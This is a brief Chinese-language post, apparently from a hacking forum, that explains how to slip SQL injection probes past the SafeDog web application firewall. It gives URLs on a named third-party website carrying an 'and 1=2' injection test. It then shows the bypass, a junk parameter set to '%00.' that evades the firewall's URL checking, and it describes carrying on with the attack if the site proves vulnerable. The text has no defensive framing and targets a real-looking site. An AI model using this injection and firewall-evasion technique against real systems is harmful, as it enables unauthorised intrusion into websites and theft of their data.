看链接：

http://www.hzjxn.com/Article/List.asp?SelectId=249&ClassId=2 and 1=2

以上会提示被安全狗拦截

丢个垃圾参数fuck，给的值必须是%00. OK了。因为他是对url进行审计的，而不是参数的值。所以可以这么绕，但是程序内部防注入的是通过函数来过滤。所以不行 看连接

http://www.hzjxn.com/Article/List.asp?fuck=%00.&SelectId=249&ClassId=2 and 1=2

 

没提示，有漏洞继续跑，没漏洞就没辙。